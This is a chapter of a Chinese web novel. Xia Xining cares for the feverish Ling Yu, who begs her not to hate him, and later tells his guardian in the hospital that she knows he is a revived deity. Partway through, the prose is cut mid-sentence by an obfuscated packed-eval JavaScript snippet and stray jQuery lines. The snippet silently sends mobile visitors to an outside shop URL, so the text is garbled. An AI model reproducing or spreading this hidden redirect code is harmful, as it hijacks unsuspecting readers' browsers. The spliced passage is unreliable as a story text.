夏熹凝愣愣看着,一下没有反应过来。
泠钰眼里的水雾越聚越多,到了不用眨眼也能汇成泪珠落下的程度。
没有听到回答,他眼里的哀求黯淡,头垂得更低,决堤的眼泪控制不住啪嗒啪嗒往下掉。
虽然他哭起来很好看,被这样哀求很爽,但夏熹凝真的看不得泠钰哭。
他有什么错,他只是不解释爱逃避锯嘴葫芦而已,但他不是都认错了吗!
夏熹凝赶紧捧上泠钰的脸:“好了好了,我没有讨厌你,你……”
夏熹凝揉揉手里湿漉漉的脸,松开其中一只用手背贴到泠钰额头上,瞪大眼睛:“你的脸和额头怎么这么烫!泠钰,你烧退了吗?”
泠钰乖乖躬身把头放在夏熹凝手掌中,努力睁大自己的眼睛,银灰色的眼眸水汽环绕,他小心翼翼地拉住夏熹凝的衣角,如同溺水的人抓住最后一根救命稻草:“你,没有讨厌我吗?”
夏熹凝又换了一只手去探泠钰的额头,然后贴上自己的额头,眉头皱得更紧,嘴里还是好声好气地哄着:“对,没有讨厌你,你是不是还没退烧就跑出来了,医院怎么会让你出来?没人陪护吗?嗯?”
“可是你说,泠钰真是讨厌死了。”泠钰捏着那块没有自己手指大的衣角,指节攥得发白,嘴角微微下撇,像是受了天大的委屈,眼眶酸涩地落下更多眼泪,偏偏还要在夏熹凝手中轻轻蹭一下,讨要承诺,“熹凝,不要讨厌我,我会改的,我听你的话,你不要讨厌我。”
夏熹凝贴在自己额头上的手僵住,指尖痉挛性收缩一下,瞳孔微微放大。
泠钰无知无觉地窝在夏熹凝手里,太阳穴的抽痛越来越剧烈,眼前的一切都在扭曲模糊,他只能半磕眼皮,浓浓的鼻音含在喉咙里,软软哑哑的,就像动物幼崽在哼哼唧唧地撒娇:“你说过,你会喜欢我很长很长时间的,你不要喜欢他,也不要讨厌我。”
夏熹凝放下手,重新捧住泠钰泪湿的脸,微微用力抬起。
果然,他的脸颊滚烫,红晕从他眼尾落下,在腮边晕出好大一块。
烧得神志不清了。
夏熹凝吐出一口气,又是气愤又是心疼,嘴里说着安抚的话,空出一只手去掏手机:“嗯,我说的,不喜欢他,不讨厌你,我最喜欢你了,只喜欢你好不好。”
单手解锁,从通讯录里拉出穆淳的电话,指尖悬在拨号键上,犹豫片刻还是按了下去。
嘟的一声,电话接通。穆淳略着急的声音从手机里传来:“喂?夏学妹啊?是有什么事吗?”
夏熹凝单手撑着泠钰的脸,把手机拿到耳边,一个穆字才出口,乖乖呆在她手上的泠钰忽然卸力,闭着眼睛前倾。
夏熹凝倒吸一口凉气,手还抓着手机就往前撑到泠钰肩膀上。
但一只手的力气显然不足以支撑泠钰的体重,他倾倒的动作只卡顿了不足一秒。夏熹凝只能顺着他的动作把手穿过泠钰的胳膊,另一只手从脸颊向后扶住泠钰的后脑勺,后背靠上玻璃门,用自己的身体支撑泠钰的体重。
手机在手忙脚乱中掉到地上,穆淳还在电话那头喂喂喂,夏熹凝几乎被泠钰的身体盖住,只有仰着的头从他肩膀处艰难地伸出来。
这里是枢衡院教学楼侧门,平时就少有人路过,更何况现在还是饭点。夏熹凝清清嗓子,试图大声跟电话那头的穆淳沟通或者求救,嘴巴才张大,余光又瞥见另一个身影。
楼梯拐角处站着的那个戴黑框眼镜的小卷发女生,不是融舒晴又是谁呢。
夏熹凝在电光火石之间想起下课时融舒晴说在教学楼里面等她一起吃饭。
刚刚又是跟江曜聊天又是找泠钰算账,把融舒晴忘了。
夏熹凝有点心虚,但不多。也不知道融舒晴站在那边看了多久。
“别看啦,快过来帮忙。”夏熹凝生无可恋地仰着脖子喊。
微张着嘴的融舒晴这才游魂似的从拐角走出来,蹲下捡起夏熹凝的手机,一边帮忙解救夏熹凝一边大为震撼:"我的暖啊,高手啊!辰文院的高岭之花居然被你调成这样!"
夏熹凝:“……”
手机那边还没挂断电话的穆淳:“??!”
——
医院又是一阵忙碌,泠钰挂着吊瓶重新躺到床上。他的脸还是很红,即便在昏迷中也是眉头紧锁,嘴里呢喃着什么,很难听清,但夏熹凝能猜到就是了。
陆灵斓身为监护人,被医生训斥了两句,进来的时候揉着太阳穴,一向温婉的笑落下,挂着几分疲惫与无奈。
夏熹凝站在泠钰床边低头看他,穆淳摸摸鼻子,缩起脖子搁门口站着。
泠钰跑出来这件事穆淳时提前收到消息的,但他没有在校门口和教学楼门口拦到泠钰。谁知道泠钰会那么精准地绕远路走侧门精准堵住夏熹凝啊!
陆灵斓没好气地瞪了穆淳一眼,视线一转落到夏熹凝身上。
夏熹凝正好回头,跟陆灵斓视线相撞。
也不是第一次见面,夏熹凝自然点头示意,喊了一声陆姨,因为泠钰这一波操作有她的大部分原因,她站在原地还有些不好意思。
但陆灵斓沉默片刻,欲言又止,原本已经放下来的手指又按上太阳穴。
夏熹凝没听到招呼声,还以为陆灵斓生气了,瞥了一眼泠钰现在的模样,心想也能理解,于是郑重出声:“陆姨,我……”
“别。”陆灵斓揉着太阳穴的手动地更快,下意识出口打断夏熹凝的话。
夏熹凝目光茫然,门边罚站的穆淳也胆大包天地抬头瞅过来。
陆灵斓意识到自己语气不对,目光微妙地看着夏熹凝,想说点什么,又不好开口,最后叹出一口气:“曦,熹凝啊,你和泠钰一样,叫我碧灵吧。”
夏熹凝还没有反应过来,穆淳先出声质疑了:“啊?为什么!妈,你不是说这是你老家方言吗,为什么让夏学妹也……”
他没有质疑完,陆灵斓凶恶地瞪去一眼,穆淳瘪嘴,低头转身继续面门思过。
夏熹凝有同样的疑惑,但她往旁边多看了穆淳一眼,思考数秒,没有多嘴,乖乖点头嗯了一声。
病房安静下来。
陆灵斓走过去床
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941476|212652||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
边,低头看了一会儿睡梦中仍旧不安宁的泠钰,悄悄用余光注视同样面露心疼的夏熹凝,不知想到什么,太阳穴又幻痛起来。
“小淳,”陆灵斓又长长吐出一口气,转头使唤穆淳,"泠钰和,熹凝还没有吃午饭,你去外面打包两份饭回来。"
穆淳站直身体,闻言忍不住回头:“妈,外面不是定了医院的营养餐吗,再说外卖也……”
陆灵斓一个眼神过去,穆淳再次屈服于母亲大人的淫威,乖乖开门。
“要城北那家的。”陆灵斓补充。
穆淳不记打,又回头:“那么远!回来都……好,我知道了。”
门打开又关上,穆淳回头盯了一会儿门上的窗户,撅嘴哼哼一声,嘀咕着走了。
少了穆淳,整个病房瞬间空旷下来,连窗外的风声都可以被清晰听见。
夏熹凝俯身在泠钰额头上探了一下,温度比刚才低了一点,但手背贴上去还是能感觉到明显的热度。
连续发了这么多天烧,夏熹凝都怕泠钰烧成傻子。不过仔细想想,都已经口不择言说出能暴露身份的话了,能清醒到哪里去。
夏熹凝学着陆灵斓叹气,然后双手交叠在身前,礼貌又乖巧地发问:“陆,碧灵,您是知道泠钰的身份的吧。”
陆灵斓拿水杯的动作顿在半空,手抓了两下没有抓到杯子,眼里浮现显而易见的惊讶:“你……知道?”
“去年中秋,方微山祭坛,”夏熹凝动作乖巧,语出惊人,“我亲眼见到泠钰苏醒,从方微山那座神庙走出来。”
陆灵斓:“……”
几乎是条件反射地,陆灵斓转头看了一眼泠钰。
但这个一早就被看穿老底的人还紧蹙着眉在昏睡,淋着自己小房子里的潮湿小雨,根本听不见外面的风雨交加。
“这事泠钰从没有提过,他应当不想暴露,而且以我的身份也不适合在一开始坦白,我原本这事可以徐徐图之,等感情到了那一步,自然而然地向对方表明,但现在他情况不好,我也不想平白浪费时间去等,去猜测,无端消耗感情。”夏熹凝抿抿嘴,唇角扬起一个浅淡的弧度,像朵单纯无害的小白花。
陆灵斓听到身份二字的时候手都颤抖了,一瞬的慌张后想起夏熹凝说的身份是月神信徒。带入这一层身份,她看夏熹凝的目光就更诡异了。
神域那些模糊记忆里,太阳神曦是神主,是神域坚固的支柱,祂强大,睿智,神圣不可侵犯……神主怎么会转世成一个看见神明降临后选择追求神明的神信徒啊!
陆灵斓张了张嘴,看着夏熹凝无辜的脸又说不出来。
“泠钰之前是失忆了吧,”夏熹凝继续说,“祭坛那天他好像不记得自己神降的事情。”
陆灵斓站直,目光有点木,她没忍住,又看了泠钰一眼,眼中情绪复杂。
“但祭坛那天,泠钰是不是恢复记忆了?”夏熹凝轻轻垂眸,扫过泠钰左耳那颗红艳艳的珠子,有那么一瞬仿佛看见珠子在发光,第二眼再看又无事发生,遂把目光落回浑身僵硬的陆灵斓身上,“是跟我有关吗?”